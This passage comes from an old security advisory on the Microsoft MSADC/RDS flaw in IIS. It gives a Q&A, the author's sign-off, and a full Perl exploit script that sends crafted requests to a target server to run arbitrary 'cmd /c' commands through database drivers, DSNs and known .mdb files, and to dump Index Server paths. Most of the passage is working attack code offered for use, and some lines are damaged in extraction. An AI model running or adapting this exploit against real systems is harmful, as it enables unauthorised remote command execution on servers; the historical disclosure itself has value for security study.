of return information, this command may take a while to complete. Be patient. And I don't suggest you use this command more than once a minute...it caused my P200 w/ 128 RAM to stop answering requests, and in general borked inetinfo.exe. If you do decide to CONTROL-C during the middle of the data download the script will save all received data into a file called 'raw.out', so you don't loose everything you've already received. NOTE: this is the raw data, which is in Unicode. NOTE ON SUCCESS: The script reports 'Success!' when it has issued a valid SQL statement. 'Success!' does *NOT* mean that your command worked. If they have MDAC 2.1+ shell commands are worthless, so the script will report 'Success!' (it went through) but your command didn't run (MDAC 2.1 didn't interpret it). There's no return indication to know whether your command worked or not. As with the ODBC commands, you're flying blind. - 8 - Random Q & A - "This or that function of the script is broken" -- Well, it wasn't broken when I used it, so you must of broke it. No, seriously. I've tested it on Linux, L0pht tested it on Solaris, and Vacuum tested it on NT (using Perl 5.005-03 for Windows). They worked for us. I've coded some various checks for errors, but nothing robust. But I know it worked for me. :) - "Why don't you code this in C?" -- Because I've been programming C/C++ for 8 years. I'm tired of it. I've been coding perl for 3, so it's new and fresh, and I'm just now starting to do interesting stuff. Plus the code is portable this way. Come on, where else can you have a piece of code that does network/socket level stuff that runs on NT, Linux, and Solaris with no changes??!? - "Or you going to port this to C?" -- It wouldn't be that hard at all, but wasn't planning on it. You have something against perl? - "What's the F in Russell F. Prigogine stand for?" -- Fabio. Fear the geese. - "Why do you act like this is a joke?" -- Because I don't get paid for doing this, I don't get donations, and I don't get any sexual gratification from this what-so-ever. I do this because I *like* to, because it's *FUN*--so damn it, I'm having fun! - "I don't get some of the jokes in the paper. Like what's FMP?" -- If you have to ask, you wouldn't understand. This advisory is teeming with inside jokes. RFP, FMP. - "Who picked your switches? v/V, R, X, N...d,v,h,e...they make no sense." -- They do to me. - "Where can I find the Internet's largest archive of hacked websites?" -- Oh, wonderful that you should ask. www.attrition.org is just the place. Say 'hi' to Jericho for me when you get there. - 9 - Signoff Ok, I've been coding the script, reading MS database propaganda (did I mention yet I hate database stuff?), and writing this damn advisory for a collective of 30 hours. About time I stop and never think about it again. :) So you have my best shot at the RDS exploit, even though I think there may be something pretty nifty hiding in the Data Shape Provider (or maybe Index Server). We'll just have to wait and see if/when Greg and Russ finally decide they can share their toys. Remember, I spent 2 days typing all this in an attempt to teach people something, rather than to just release the vanilla exploit. So if you want to label me irresponsible, well, I suppose I could have been more so. Moreover, I support eEye in what they did 100%. Russ says "there are numerous unwritten rules when it comes to security disclosures". Rules? Unwritten? Well, maybe eEye was unaware of these rules, since they're not written down. Future updates to this advisory and exploit code will be posted to www.technotronic.com/rfp/ Well, it's been fun. Until the next release (which may be sooner than you think ;) - rain forest puppy / R. F. Prigogine - - ADM / Wiretrip - - rfp@wiretrip.net - *** SPECIAL THANKS once again to Mudge and Weld from www.l0pht.com for helping me out on the preliminary assessment, and Mike Dinowitz from www.houseoffusion.com and Vacuum from www.technotronic.com for creative input. Time is creation. The future is just not there. Kitetoa, did you hack my ham sandwich!?!? - 10 - The Code!!!! Again, to run this, save this advisory to a file (for instance msadc.txt) and then run 'perl -x file' (ie perl -x msadc.txt). #!perl # # MSADC/RDS 'usage' (aka exploit) script # # by rain.forest.puppy # # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me # beta test and find errors! use Socket; use Getopt::Std; getopts("e:vd:h:XRVN", \%args); print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; if (!defined $args{h} && !defined $args{R}) { print qq~ Usage: msadc.pl -h { -d -X -v } -h = host you want to scan (ip or domain) -d = delay between calls, default 1 second -X = dump Index Server path table, if available -N = query VbBusObj for NetBIOS name -V = use VbBusObj instead of ActiveDataFactory -v = verbose -e = external dictionary file for step 5 Or a -R will resume a command session ~; exit;} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; if (defined $args{v}) { $verbose=1; } else {$verbose=0;} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} if (!defined $args{R}){ $ret = &has_msadc; } if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } if (defined $args{N}) {&get_name; exit;} print "Please type the NT commandline you want to run (cmd /c assumed):\n" . "cmd /c "; $in=; chomp $in; $command="cmd /c " . $in ; if (defined $args{R}) {&load; exit;} print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &try_btcustmr; print "\nStep 2: Trying to make our own DSN..."; &make_dsn ? print "<>\n" : print "<>\n"; print "\nStep 3: Trying known DSNs..."; &known_dsn; print "\nStep 4: Trying known .mdbs..."; &known_mdb; if (defined $args{e}){ print "\nStep 5: Trying dictionary of DSN names..."; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } print "Sorry Charley...maybe next time?\n"; exit; ############################################################################## sub sendraw { # ripped and modded from whisker sleep($delay); # it's a DoS on the server! At least on mine... my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ select(S); $|=1; print $pstr; my @in=; select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} ############################################################################## sub make_header { # make the HTTP request my $which, $msadc; # yeah, this is WAY redundant. I'll fix it later if (defined $args{V}){ $msadc=<Datasource creation successful<\/H2>/;}} } return 0;} ############################################################################## sub verify_exists { my ($page)=@_; my @results=sendraw("GET $page HTTP/1.0\n\n"); return $results[0];} ############################################################################## sub try_btcustmr { my @drives=("c","d","e","f"); my @dirs=("winnt","winnt35","winnt351","win","windows"); foreach $dir (@dirs) { print "$dir -> "; # fun status so you can see progress foreach $drive (@drives) { print "$drive: "; # ditto $reqlen=length( make_req(1,$drive,$dir) ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,$drive,$dir)); if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ############################################################################## sub odbc_error { my (@in)=@_; my $base; my $base = content_start(@in); if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; return $in[$base+4].$in[$base+5].$in[$base+6];} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ############################################################################## sub verbose { my ($in)=@_; return if !$verbose; print STDOUT "\n$in\n";} ############################################################################## sub save { my ($p1, $p2, $p3, $p4)=@_; open(OUT, ">rds.save") || print "Problem saving parameters...\n"; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; close OUT;} ############################################################################## sub load { my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; open(IN,"; close(IN); $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $target= inet_aton($ip) || die("inet_aton problems"); print "Resuming to $ip ..."; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; if($p[1]==1) { $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); if (rdo_success(@results)){print "Success!\n";} else { print "failed\n"; verbose(odbc_error(@results));}} elsif ($p[1]==3){ if(run_query("$p[3]")){ print "Success!\n";} else { print "failed\n"; }} elsif ($p[1]==4){ if(run_query($drvst . "$p[3]")){ print "Success!\n"; } else { print "failed\n"; }} exit;} ############################################################################## sub create_table { return 1 if (defined $args{V}); my ($in)=@_; $reqlen=length( make_req(2,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(2,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 1 if $temp=~/Table 'AZZ' already exists/; return 0;} ############################################################################## sub known_dsn { # we want 'wicca' first, because if step 2 made the DSN, it's ready to go my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"); foreach $dSn (@dsns) { print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ print "$dSn successful\n" if (!defined $args{V}); if(run_query("DSN=$dSn")){ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n";} ############################################################################## sub is_access { my ($in)=@_; return 1 if (defined $args{V}); $reqlen=length( make_req(5,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(5,$in,"")); my $temp= odbc_error(@results); verbose($temp); return 1 if ($temp=~/Microsoft Access/); return 0;} ############################################################################## sub run_query { my ($in)=@_; $reqlen=length( make_req(3,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(3,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 0;} ############################################################################## sub known_mdb { my @drives=("c","d","e","f","g"); my @dirs=("winnt","winnt35","winnt351","win","windows"); my $dir, $drive, $mdb; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; # this is sparse, because I don't know of many my @sysmdbs=( "\\catroot\\icatalog.mdb", "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\certmdb.mdb", "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "\\cfusion\\cfapps\\forums\\forums_.mdb", "\\cfusion\\cfapps\\forums\\data\\forums.mdb", "\\cfusion\\cfapps\\security\\realm_.mdb", "\\cfusion\\cfapps\\security\\data\\realm.mdb", "\\cfusion\\database\\cfexamples.mdb", "\\cfusion\\database\\cfsnippets.mdb", "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "\\cfusion\\brighttiger\\database\\cleam.mdb", "\\cfusion\\database\\smpolicy.mdb", "\\cfusion\\database\cypress.mdb", "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "\\website\\cgi-win\\dbsample.mdb", "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ); #these are just \ foreach $drive (@drives) { foreach $dir (@dirs){ foreach $mdb (@sysmdbs) { print "."; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n" if (!defined $args{V}); if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; }}}}} foreach $drive (@drives) { foreach $mdb (@mdbs) { print "."; if(create_table($drv . $drive . $dir . $mdb)){ print "\n" . $drive . $dir . $mdb . " successful\n" if (!defined {V}); if(run_query($drv . $drive . ":" . $dir . $mdb)){ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }}}} } ############################################################################## sub hork_idx { print "\nAttempting to dump Index Server tables...\n"; print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $reqlen=length( make_req(4,"","") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw2(make_header() . make_req(4,"","")); if (rdo_success(@results)){ my $max=@results; my $c; my %d; for($c=19; $c<$max; $c++){ $results[$c]=~s/\x00//g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $d{"$1$2"}="";} foreach $c (keys %d){ print "$c\n"; } } else {print "Index server not installed/query failed\n"; }} ############################################################################## sub dsn_dict { open(IN, "<$args{e}") || die("Can't open external dictionary\n"); while(){ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ print "$dSn successful\n" if(!defined $args{V}); if(run_query("DSN=$dSn")){ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n"; close(IN);} ############################################################################## sub sendraw2 { # ripped and modded from whisker sleep($delay); # it's a DoS on the server! At least on mine... my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ open(OUT,">raw.out"); my @in; select(S); $|=1; print $pstr; while(){ print OUT $_; push @in, $_; print STDOUT ".";} close(OUT); select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} ############################################################################## sub content_start { # this will take in the server headers my (@in)=@_; my $c; for ($c=1;$c<500;$c++) { if($in[$c] =~/^\x0d\x0a/){ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } else { return $c+1; }}} return -1;} # it should never get here actually ############################################################################## sub funky { my (@in)=@_; my $error=odbc_error(@in); if($error=~/ADO could not find the specified provider/){ print "\nServer returned an ADO miscofiguration message\nAborting.\n"; exit;} if($error=~/A Handler is required/){ print "\nServer has custom handler filters (they most likely are patched)\n"; exit;} if($error=~/specified Handler has denied Access/){ print "\nADO handlers denied access (they most likely are patched)\n"; exit;}} ############################################################################## sub has_msadc { my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); my $base=content_start(@results); return if($results[$base]=~/Content-Type: application\/x-varg/); my @s=grep("Server",@results); if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n" } else { print "/msadc/msadcs.dll was not found.\n";} exit;} ############################################################################## sub get_name { # this was added last minute my $msadc=<.,?]//g; print "Machine name: $results[$base+6]\n";} ############################################################################## # Note: This is not a good example of precision code. It is very # redundant and has a few kludges. I have been adding features in one at # at a time, so it has resulted in redundant functions and patched code. # I will be rewriting it in the future, sometime. Look for the newer code # revisions at www.technotronic.com/rfp/ # This may also be included in the NT-PTK/P. If you don't know what that # is, just wait and see. :) ##############################################################################